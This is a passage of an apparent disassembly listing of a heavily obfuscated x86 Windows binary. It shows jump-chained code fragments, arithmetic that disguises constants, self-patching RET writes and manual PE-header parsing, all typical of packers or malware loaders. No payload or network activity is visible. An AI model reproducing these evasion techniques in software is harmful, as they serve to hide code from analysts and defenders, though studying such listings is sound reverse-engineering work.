		xchg	ebx, [esp]
		mov	ebp, ebx

loc_43BB09:				; CODE XREF: kgbikm34:loc_4464F6j
		pop	ebx
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E4C0

loc_43BB0B:				; CODE XREF: sub_43E4C0+6C2j
		jz	loc_43EFED

loc_43BB11:				; CODE XREF: sub_43CB97-3AF6j
		jmp	nullsub_61
; END OF FUNCTION CHUNK	FOR sub_43E4C0
; ---------------------------------------------------------------------------
		and	esi, ebx
		jmp	loc_43EFEB
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_363. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449D78

loc_43BB1E:				; CODE XREF: sub_449D78-72B7j
		or	edx, 0F69ACF78h
		push	offset loc_444C29
		jmp	loc_44868F
; END OF FUNCTION CHUNK	FOR sub_449D78
; ---------------------------------------------------------------------------

loc_43BB2E:				; CODE XREF: kgbikm34:0044DB35j
		jz	loc_43C736

loc_43BB34:				; CODE XREF: kgbikm34:loc_442765j
		mov	eax, [esp]
		push	edx
		push	ecx
		push	0C1DDD30Dh
		pop	ecx
		rol	ecx, 0Dh
		or	ecx, 742A568Fh
; START	OF FUNCTION CHUNK FOR sub_447E85

loc_43BB48:				; CODE XREF: sub_447E85:loc_448728j
		jmp	loc_44DDD4
; END OF FUNCTION CHUNK	FOR sub_447E85
; ---------------------------------------------------------------------------

loc_43BB4D:				; CODE XREF: kgbikm34:00447A64j
		pushf
		jmp	loc_44311C
; ---------------------------------------------------------------------------
		push	edx
		push	0F62CD649h
		pop	edx
		sub	edx, 0FBB55D2Fh
		rol	edx, 9
		sub	edx, 0A38F5041h
		jmp	loc_44DC07
; ---------------------------------------------------------------------------

loc_43BB6E:				; CODE XREF: kgbikm34:00449392j
		jbe	loc_44531A
		jno	loc_43EA05
		jmp	loc_43AF42
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437954

loc_43BB7F:				; CODE XREF: sub_437954:loc_441F78j
		add	eax, edx
		pop	edx
		mov	eax, [eax]
		add	eax, [ebp+var_18]
		push	offset loc_445D82
		jmp	nullsub_49
; END OF FUNCTION CHUNK	FOR sub_437954
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B47A

loc_43BB91:				; CODE XREF: sub_44B47A:loc_44A7EBj
		push	0D9346C26h
		xchg	edi, [esp+8+var_8]
		mov	esi, edi
		pop	edi
		jmp	loc_444E40
; END OF FUNCTION CHUNK	FOR sub_44B47A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447E85

loc_43BBA1:				; CODE XREF: sub_447E85:loc_44602Cj
		jz	loc_446074
		not	esi
		jmp	loc_446066
; END OF FUNCTION CHUNK	FOR sub_447E85
; ---------------------------------------------------------------------------

loc_43BBAE:				; CODE XREF: kgbikm34:loc_444D1Ej
		jz	loc_449361
		jmp	loc_44457D
; ---------------------------------------------------------------------------

loc_43BBB9:				; CODE XREF: kgbikm34:0043AA1Dj
		mov	eax, [esp]
		push	edx
		push	esi
		push	0B50D70B1h
		pop	esi
		jmp	loc_43ED80
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439609

loc_43BBC9:				; CODE XREF: sub_439609:loc_4434F3j
					; sub_439609+9EF7j
		xor	esi, 0F9958759h
		sub	esi, 6DAD0DBAh
		xor	esi, 20EF49B2h
		add	edx, esi
		pop	esi
		mov	edx, [edx]
		jmp	loc_43E153
; END OF FUNCTION CHUNK	FOR sub_439609
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D045

loc_43BBE5:				; CODE XREF: sub_43D045j
					; sub_43D045:loc_442AA9j
		mov	eax, ds:dword_44037C
		or	eax, eax
		jnz	loc_447C7F
		jmp	loc_4442A0
; END OF FUNCTION CHUNK	FOR sub_43D045
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439587

loc_43BBF8:				; CODE XREF: sub_439587+F128j
		jl	loc_44040E
		jmp	loc_4451A3
; END OF FUNCTION CHUNK	FOR sub_439587
; ---------------------------------------------------------------------------

loc_43BC03:				; CODE XREF: kgbikm34:0043EC32j
		xor	eax, 0EB738327h
		call	sub_43BF6F
		push	ecx
		push	0D0BB958Ch
		pop	ecx
; START	OF FUNCTION CHUNK FOR sub_44A1A6

loc_43BC15:				; CODE XREF: sub_44A1A6:loc_43DA34j
		and	ecx, 0B6766D4Ah
		test	ecx, 8000000h
		jmp	loc_438DDA
; END OF FUNCTION CHUNK	FOR sub_44A1A6

; =============== S U B	R O U T	I N E =======================================



sub_43BC26	proc near		; CODE XREF: kgbikm34:004402A9p
					; kgbikm34:0044CEADj

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043FB6D SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		xchg	ecx, [esp-4+arg_0]
		jmp	loc_43FB6D
sub_43BC26	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_43BC32:				; CODE XREF: kgbikm34:004467A2j
		xchg	ecx, [esp]
		jmp	loc_4446B6
; ---------------------------------------------------------------------------

loc_43BC3A:				; CODE XREF: kgbikm34:00444EE2j
		jz	loc_44B131
; START	OF FUNCTION CHUNK FOR sub_43741E

loc_43BC40:				; CODE XREF: sub_43741E+D688j
		jmp	sub_43BF6F
; END OF FUNCTION CHUNK	FOR sub_43741E
; ---------------------------------------------------------------------------

loc_43BC45:				; CODE XREF: kgbikm34:loc_445BA8j
		xchg	esi, edi
		not	esi
		jmp	loc_44B12B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4471D6

loc_43BC4E:				; CODE XREF: sub_4471D6:loc_437090j
		shl	eax, 8
		push	offset loc_44E0DA
		jmp	loc_43C79D
; END OF FUNCTION CHUNK	FOR sub_4471D6
; ---------------------------------------------------------------------------

loc_43BC5B:				; CODE XREF: kgbikm34:004477D9j
		jnz	loc_4428A1
		adc	edx, 4B36A049h
		jmp	loc_439738
; ---------------------------------------------------------------------------
		jg	loc_43D704
		xor	eax, 21F11439h
		jmp	sub_439705
; ---------------------------------------------------------------------------

loc_43BC7D:				; DATA XREF: sub_447800+Fo
		mov	ds:dword_41E174, eax
		lea	eax, nullsub_350
		mov	byte ptr [eax],	0C3h
		jmp	loc_44514C

; =============== S U B	R O U T	I N E =======================================



sub_43BC91	proc near		; CODE XREF: sub_40F70A+2Bp
					; sub_43BC91:loc_4440C2j
					; DATA XREF: ...

; FUNCTION CHUNK AT 004440C2 SIZE 00000006 BYTES

		call	sub_4440CD
		jmp	loc_4440C2
sub_43BC91	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B932

loc_43BC9B:				; CODE XREF: sub_43B932:loc_43772Aj
		jz	loc_4485F9
		jmp	loc_440ED8
; END OF FUNCTION CHUNK	FOR sub_43B932
; ---------------------------------------------------------------------------
		sbb	esi, ebx
		jmp	loc_44D593

; =============== S U B	R O U T	I N E =======================================



sub_43BCAD	proc near		; CODE XREF: kgbikm34:004397BAj
					; sub_43CD5D:loc_442D03p

; FUNCTION CHUNK AT 004371FB SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00438F9A SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0043D406 SIZE 00000003 BYTES
; FUNCTION CHUNK AT 0043D4E4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043DF17 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043EC8A SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0043FE9D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00440B4A SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00440FA7 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004419A5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00441B74 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00442999 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00443885 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00443C09 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00444118 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004445AE SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00445958 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00446054 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00446A70 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00446ED3 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00447CD0 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 004481A1 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00448736 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00448758 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00448B43 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0044953F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044BF6C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044CF5D SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0044CFE7 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0044D14D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044D46E SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0044D70B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044E25F SIZE 0000001D BYTES

		xchg	edi, [esp+0]
		pop	edi
		push	edx
		mov	edx, ecx
		jmp	loc_43FE9D
sub_43BCAD	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A5F7

loc_43BCB9:				; CODE XREF: sub_43A5F7+7j
		lea	eax, loc_439B45
		mov	byte ptr [eax],	0C3h
		jmp	loc_443F72
; END OF FUNCTION CHUNK	FOR sub_43A5F7

; =============== S U B	R O U T	I N E =======================================



sub_43BCC7	proc near		; CODE XREF: sub_402F48+C8p
					; sub_446B23+9j
					; DATA XREF: ...

; FUNCTION CHUNK AT 00447241 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 004472C4 SIZE 00000007 BYTES

		call	sub_446B23

loc_43BCCC:				; CODE XREF: sub_443DF0:loc_4457D1j
		mov	[ecx], eax
		or	edx, ecx
		shr	ebx, 7
		jmp	loc_4472C4
sub_43BCC7	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CB0F

loc_43BCD8:				; CODE XREF: sub_43CB0F:loc_43B03Bj
		xchg	ebx, [esp+4+var_4]
		jmp	loc_43F07E
; END OF FUNCTION CHUNK	FOR sub_43CB0F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E8DA

loc_43BCE0:				; CODE XREF: sub_43E8DA:loc_43AC57j
					; sub_4429A6:loc_43C027j
		push	offset loc_44C8B3
		jmp	nullsub_32
; END OF FUNCTION CHUNK	FOR sub_43E8DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44739D

loc_43BCEA:				; CODE XREF: sub_44739D:loc_444258j
		jnz	loc_44512E
		jmp	loc_44DAD8
; END OF FUNCTION CHUNK	FOR sub_44739D
; ---------------------------------------------------------------------------

loc_43BCF5:				; CODE XREF: kgbikm34:loc_448657j
		push	offset loc_44D00F
		jmp	locret_443632
; ---------------------------------------------------------------------------
		xor	esi, edi
		jmp	sub_4394EB
; ---------------------------------------------------------------------------

loc_43BD06:				; DATA XREF: sub_4463B1+8o
		push	ecx
		mov	ecx, edx
		xchg	ecx, [esp]
; START	OF FUNCTION CHUNK FOR sub_44C093

loc_43BD0C:				; CODE XREF: sub_44C093-85B0j
		call	sub_43EDEA
; END OF FUNCTION CHUNK	FOR sub_44C093
; START	OF FUNCTION CHUNK FOR sub_440443

loc_43BD11:				; CODE XREF: sub_440443-682j
		jmp	nullsub_43
; END OF FUNCTION CHUNK	FOR sub_440443
; ---------------------------------------------------------------------------

loc_43BD16:				; CODE XREF: kgbikm34:0043F980j
		jmp	loc_445595
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44ADC2

loc_43BD1B:				; CODE XREF: sub_44ADC2:loc_43F95Dj
		pop	eax
		and	eax, 2ED2F4Eh
		rol	eax, 0Ch
		xor	eax, 90D2B255h
		and	eax, 1B5FEA5Bh
		cmp	eax, 2951DD35h
		jmp	loc_447FA0
; END OF FUNCTION CHUNK	FOR sub_44ADC2
; ---------------------------------------------------------------------------

loc_43BD3C:				; CODE XREF: kgbikm34:004426A3j
		call	sub_43D9B3
		mov	eax, 649E33C4h
		call	sub_440F62
		push	esi
		call	sub_44CA61
; START	OF FUNCTION CHUNK FOR sub_44B20C

loc_43BD51:				; CODE XREF: sub_44B20C+1E64j
		jg	loc_44325D
		ror	ecx, 9
		mov	ebp, 96AA65FDh
		or	esi, ebp
		jmp	loc_43EB87
; END OF FUNCTION CHUNK	FOR sub_44B20C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449E48

loc_43BD66:				; CODE XREF: sub_449E48+13j
		jnz	loc_438577
; END OF FUNCTION CHUNK	FOR sub_449E48
; START	OF FUNCTION CHUNK FOR sub_43DE11

loc_43BD6C:				; CODE XREF: sub_43DE11+50F3j
		jmp	loc_44200D
; END OF FUNCTION CHUNK	FOR sub_43DE11
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448C95

loc_43BD71:				; CODE XREF: sub_448C95-F47Bj
		jmp	loc_44AA25
; END OF FUNCTION CHUNK	FOR sub_448C95
; ---------------------------------------------------------------------------
		jno	loc_43E521
		jmp	loc_438572
; ---------------------------------------------------------------------------
		db 18h,	0FEh, 23h
dword_43BD84	dd 0			; DATA XREF: sub_43C167+7r
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444267

loc_43BD88:				; CODE XREF: sub_444267+Cj
		jmp	loc_44391D
; END OF FUNCTION CHUNK	FOR sub_444267
; ---------------------------------------------------------------------------
		db 0Eh,	0A2h, 27h
dword_43BD90	dd 0			; DATA XREF: kgbikm34:0043C6F5r
					; sub_440E3B+8w
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446B3C

loc_43BD94:				; CODE XREF: sub_446B3C-49A0j
		jmp	sub_43D409
; END OF FUNCTION CHUNK	FOR sub_446B3C
; ---------------------------------------------------------------------------
		db 16h,	72h, 49h
dword_43BD9C	dd 41E000h, 13h, 50h, 5Ch, 174h, 1, 2 dup(8), 24h, 1, 8
					; DATA XREF: sub_44B47A:loc_43DD16o
					; sub_44A9D8:loc_44A9DDo
		dd 9, 28h, 3, 10h, 18h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_43BDE4:				; CODE XREF: kgbikm34:00439E96j
		jmp	loc_44C7FD
; ---------------------------------------------------------------------------
		db 94h,	0C8h, 0ADh
dword_43BDEC	dd 1070000h, 471051C1h,	0FFFF8010h, 0Bh, 0FFFF8010h, 9
					; DATA XREF: sub_44B47A-D75Co
					; sub_44A9D8-89EDo
		dd 0FFFF8010h, 10h, 0FFFF8010h,	17h, 0FFFF8010h, 3, 0FFFF8010h
		dd 13h,	0FFFF8010h, 33h, 0FFFF8010h, 5,	0FFFF8010h, 34h
		dd 0FFFF8010h, 4, 0FFFF8010h, 73h, 0FFFF8010h, 14h, 0FFFF8010h
		dd 15h,	0FFFF8010h, 0Fh, 0FFFF8010h, 12h, 0FFFF8010h, 11h
		dd 0FFFF8010h, 0Ch, 0FFFF8010h,	0Ah, 0FFFF8010h, 6, 0FFFF8010h
		dd 1, 0FFFF8010h, 74h, 0FFFF8010h, 0Dh,	0FFFF8010h, 2
		dd 0FFFF8010h, 65h, 9A001Fh, 801D01A0h,	93001Fh, 609D577Dh
		dd 92001Fh, 0B24C760Ah,	6002Fh,	2092F37Fh, 15A003Bh, 367F2FA3h
		dd 1D3003Bh, 6CA849Bh, 145003Bh, 0FD491B5Dh, 146003Bh
		dd 0E101C01Dh, 1D7003Bh, 14A0F3C1h, 17A003Bh, 35321B74h
		dd 17C003Bh, 0AB1E8803h, 1E9003Bh, 55F566C1h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441D2F

loc_43BF14:				; CODE XREF: sub_441D2F+ABCEj
		jmp	loc_43EF57
; END OF FUNCTION CHUNK	FOR sub_441D2F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444C7D

loc_43BF19:				; CODE XREF: sub_444C7D+Aj
		jmp	loc_44570A
; END OF FUNCTION CHUNK	FOR sub_444C7D
; ---------------------------------------------------------------------------
		dw 8D4Fh
dword_43BF20	dd 773D0000h, 268A484Dh, 8B466662h, 36C632h, 71AB0000h
					; DATA XREF: sub_44B47A-1203Fo
					; sub_44A9D8-89E5o
		dd 0D746A65Dh, 46176433h, 0C61Bh, 5D762000h, 7294E492h
		dd 235CA2A8h, 8D6Ch, 3571B200h,	32172528h, 63D8h, 4977CC00h
		dd 8A291A05h, 368C8B43h
; ---------------------------------------------------------------------------
		mov	cl, 0

loc_43BF6A:				; CODE XREF: kgbikm34:0044D6EEj
		jmp	loc_43D921

; =============== S U B	R O U T	I N E =======================================



sub_43BF6F	proc near		; CODE XREF: sub_44DA2B:loc_437044p
					; kgbikm34:0043727Ap ...

; FUNCTION CHUNK AT 004385AB SIZE 00000002 BYTES
; FUNCTION CHUNK AT 0043A0DB SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043C50A SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0043EAF9 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0043EB56 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0043F739 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043FFA6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00440F3B SIZE 00000007 BYTES
; FUNCTION CHUNK AT 004415F5 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 004434C2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00447DEA SIZE 00000007 BYTES
; FUNCTION CHUNK AT 004487ED SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044A8F8 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0044C1E4 SIZE 00000010 BYTES

		jnz	loc_43EAF9
		jmp	loc_44A8F8
sub_43BF6F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_43BF7A	proc near		; DATA XREF: sub_441353-803Co
		pop	ecx
		jmp	loc_44B6B1
sub_43BF7A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D9CE

loc_43BF80:				; CODE XREF: sub_44D9CEj
		mov	eax, ds:dword_441AFC
		or	eax, eax
		jnz	loc_44B6B1
		jmp	loc_44D197
; END OF FUNCTION CHUNK	FOR sub_44D9CE
; ---------------------------------------------------------------------------

loc_43BF93:				; CODE XREF: kgbikm34:0044176Ej
		jns	loc_44687F

; =============== S U B	R O U T	I N E =======================================



sub_43BF99	proc near		; CODE XREF: sub_43C55C+1D56p
		xchg	esi, [esp+0]
		pop	esi
		mov	eax, [ebp+8]
		push	eax
		cmp	dword ptr [ebp-14h], 5
		push	offset loc_444664
		jmp	nullsub_26
sub_43BF99	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DFE5

loc_43BFAF:				; CODE XREF: sub_43DFE5+B129j
		jb	loc_449EBC

loc_43BFB5:				; CODE XREF: sub_43DFE5:loc_44CF52j
		mov	eax, [ebp-4]
		xor	edx, edx
		push	edx
		push	edi
		mov	edi, ebp
		jmp	loc_448A15
; END OF FUNCTION CHUNK	FOR sub_43DFE5
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_272. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F039

loc_43BFC4:				; CODE XREF: sub_43F039:loc_44A070j
		mov	[ebx], eax
		pop	ebx
		call	sub_43775A

loc_43BFCC:				; CODE XREF: kgbikm34:004374D8j
		jmp	loc_444F24
; END OF FUNCTION CHUNK	FOR sub_43F039
; ---------------------------------------------------------------------------

loc_43BFD1:				; CODE XREF: kgbikm34:00443E8Dj
		test	ecx, edi
		jmp	loc_444174
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441819

loc_43BFD8:				; CODE XREF: sub_441819:loc_448085j
		xchg	ebp, [esp+4+var_4]
		mov	edx, ebp
		pop	ebp
		mov	eax, [esp+0]
		push	edx
		nop
		push	1BBC908h
		pop	eax
		jmp	loc_4419BC
; END OF FUNCTION CHUNK	FOR sub_441819
; ---------------------------------------------------------------------------

loc_43BFEE:				; CODE XREF: kgbikm34:004371C2j
		jle	loc_43D919

loc_43BFF4:				; CODE XREF: kgbikm34:loc_43F774j
		push	16766D03h

loc_43BFF9:				; CODE XREF: kgbikm34:0043E864j
		pop	eax
		and	eax, ds:4000F2h
		test	eax, 2000h
		jmp	loc_4400EB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438B6B

loc_43C00B:				; CODE XREF: sub_438B6B+E49Ej
		popf
		or	edx, eax
		jmp	loc_44357A
; END OF FUNCTION CHUNK	FOR sub_438B6B
; ---------------------------------------------------------------------------

loc_43C013:				; CODE XREF: kgbikm34:0044B782j
		mov	edx, [edx]

loc_43C015:				; CODE XREF: kgbikm34:loc_43FB1Bj
		xchg	edx, [esp]
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43C019	proc near		; CODE XREF: sub_4438E2+4j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043C88C SIZE 00000014 BYTES
; FUNCTION CHUNK AT 004408E7 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 004414FD SIZE 00000005 BYTES

		push	ebp
		mov	ebp, esp
		jmp	loc_4414FD
sub_43C019	endp


; =============== S U B	R O U T	I N E =======================================



sub_43C021	proc near		; CODE XREF: sub_439587:loc_446022p
					; sub_43EA97+B554j
		xchg	ecx, [esp+0]
		pop	ecx
		or	eax, eax
sub_43C021	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_4429A6

loc_43C027:				; CODE XREF: sub_4429A6-9C6Ej
		jnz	loc_43BCE0
		jmp	loc_446B43
; END OF FUNCTION CHUNK	FOR sub_4429A6
; ---------------------------------------------------------------------------
		mov	eax, 524E554Eh
		push	ebx
		push	0AD6FA7FFh
		pop	ebx
		or	ebx, 3FC11ED5h
		test	ebx, 100h
; START	OF FUNCTION CHUNK FOR sub_43DC9A

loc_43C04A:				; CODE XREF: sub_43DC9A:loc_44751Dj
		jmp	loc_441A2B
; END OF FUNCTION CHUNK	FOR sub_43DC9A

; =============== S U B	R O U T	I N E =======================================



sub_43C04F	proc near		; CODE XREF: kgbikm34:0043D745j
					; sub_43A179+7B3Cp
		xchg	ebx, [esp+0]
		pop	ebx
		mov	ds:off_41E200, eax
		lea	eax, sub_44DC8B
		mov	byte ptr [eax],	0C3h
		jmp	sub_44DC8B
sub_43C04F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_43C067	proc near		; CODE XREF: sub_402F48+3Cp
					; sub_402F48+43p ...
		call	sub_4450E9
		jmp	ds:off_41E204
sub_43C067	endp


; =============== S U B	R O U T	I N E =======================================



sub_43C072	proc near		; DATA XREF: sub_43FF32:loc_4432B9o
		add	esi, 14EAA96h
		xchg	esi, [esp+0]
		jmp	sub_43BF6F
sub_43C072	endp

; ---------------------------------------------------------------------------

loc_43C080:				; CODE XREF: kgbikm34:loc_43F5B3j
		mov	ebx, edx
		xchg	ebx, [esp]
		call	sub_43B469
		or	eax, ebp
		jmp	loc_447602
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44649E

loc_43C091:				; CODE XREF: sub_44649E-1A2Aj
		cdq
		test	eax, 0D5904E1Ch
		jmp	loc_442066
; END OF FUNCTION CHUNK	FOR sub_44649E
; ---------------------------------------------------------------------------

loc_43C09D:				; CODE XREF: kgbikm34:0044D51Fj
		add	ebx, 0BCCA60F7h
		xchg	ecx, [ebp+0]

loc_43C0A6:				; CODE XREF: kgbikm34:loc_43A734j
		mov	eax, [esp]
		push	ecx
		jmp	loc_442989
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440380

loc_43C0AF:				; CODE XREF: sub_440380:loc_43C9CFj
		or	eax, 0E5714CECh
		xor	eax, 60AB210Ah
		cmp	eax, 5C0E2B54h
		jmp	loc_44100C
; END OF FUNCTION CHUNK	FOR sub_440380

; =============== S U B	R O U T	I N E =======================================



sub_43C0C6	proc near		; DATA XREF: sub_43DD80:loc_443757o

; FUNCTION CHUNK AT 00448AAE SIZE 00000005 BYTES

		add	esi, 7594A305h
		xchg	esi, [esp+0]
		jmp	loc_448AAE
sub_43C0C6	endp

; ---------------------------------------------------------------------------
		jmp	ds:dword_41E0F4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444FD8

loc_43C0DA:				; CODE XREF: sub_444FD8+6E41j
		jmp	nullsub_188
; END OF FUNCTION CHUNK	FOR sub_444FD8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B932

loc_43C0DF:				; CODE XREF: sub_43B932-230j
		jmp	loc_4411E9
; END OF FUNCTION CHUNK	FOR sub_43B932
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_313. PRESS KEYPAD	"+" TO EXPAND]
		db 89h,	0D1h, 0DDh
		dd 0B5680000h, 0E900448Fh, 0FFFFEC53h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C332

loc_43C0F4:				; CODE XREF: sub_43C332+EC92j
		pop	ebx
		rol	ebx, 15h
		add	ebx, 98DA3449h
		xchg	ebx, [esp-4+arg_0]
		jmp	loc_442E92
; END OF FUNCTION CHUNK	FOR sub_43C332
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442B5D

loc_43C106:				; CODE XREF: sub_442B5D:loc_43A19Cj
		jge	loc_446CC7
		xchg	ebp, eax
		jmp	loc_446CC5
; END OF FUNCTION CHUNK	FOR sub_442B5D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C607

loc_43C113:				; CODE XREF: sub_44C607-91F5j
		mov	esi, [esi]
		add	eax, esi
		pop	esi
		pushf
		push	esi
		push	9132D53Fh
		pop	esi
		and	esi, ds:4000F2h
		jmp	loc_43E0C0
; END OF FUNCTION CHUNK	FOR sub_44C607
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C638

loc_43C12B:				; CODE XREF: sub_43C638:loc_43888Aj
		mov	eax, [ebp-4]
		add	eax, 3Ch
		mov	eax, [eax]
		add	eax, [ebp-4]
		add	eax, 18h
		mov	[ebp-10h], eax
		jmp	loc_4465EB
; END OF FUNCTION CHUNK	FOR sub_43C638
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44DB6E

loc_43C141:				; CODE XREF: sub_44DB6E+15j
		push	eax
; END OF FUNCTION CHUNK	FOR sub_44DB6E
; START	OF FUNCTION CHUNK FOR sub_4383B9

loc_43C142:				; CODE XREF: sub_4383B9+8j
		mov	eax, [ebp-18h]
		add	eax, eax
		cdq
		call	sub_447E41

loc_43C14D:				; CODE XREF: kgbikm34:00445E51j
		jmp	loc_440AFD
; END OF FUNCTION CHUNK	FOR sub_4383B9
; ---------------------------------------------------------------------------

loc_43C152:				; CODE XREF: kgbikm34:0043B16Dj
		jmp	loc_438565
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B1D6

loc_43C157:				; CODE XREF: sub_43B1D6:loc_43AD42j
		jmp	loc_447B09
; END OF FUNCTION CHUNK	FOR sub_43B1D6
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_231. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_43C15D:				; CODE XREF: kgbikm34:0044A401j
		jmp	loc_4432B9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439609

loc_43C162:				; CODE XREF: sub_439609+3E1Cj
		jmp	nullsub_106
; END OF FUNCTION CHUNK	FOR sub_439609

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43C167	proc near		; CODE XREF: sub_4371A9:loc_4421D5j

; FUNCTION CHUNK AT 0043C80E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043FD8E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00440033 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00440F2A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00442546 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00442929 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00444D88 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044574D SIZE 00000008 BYTES
; FUNCTION CHUNK AT 004481D0 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00449509 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00449C90 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0044B0D9 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044DABE SIZE 0000001A BYTES

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	esp, ebp
		pop	ebp
		mov	eax, ds:dword_43BD84
		or	eax, eax
		jmp	loc_440F2A
sub_43C167	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_43C17B	proc near		; CODE XREF: sub_40140A+13Dp
					; sub_43C17B+5j
					; DATA XREF: ...
		call	sub_43C190
		jmp	ds:off_41E020
sub_43C17B	endp

; ---------------------------------------------------------------------------

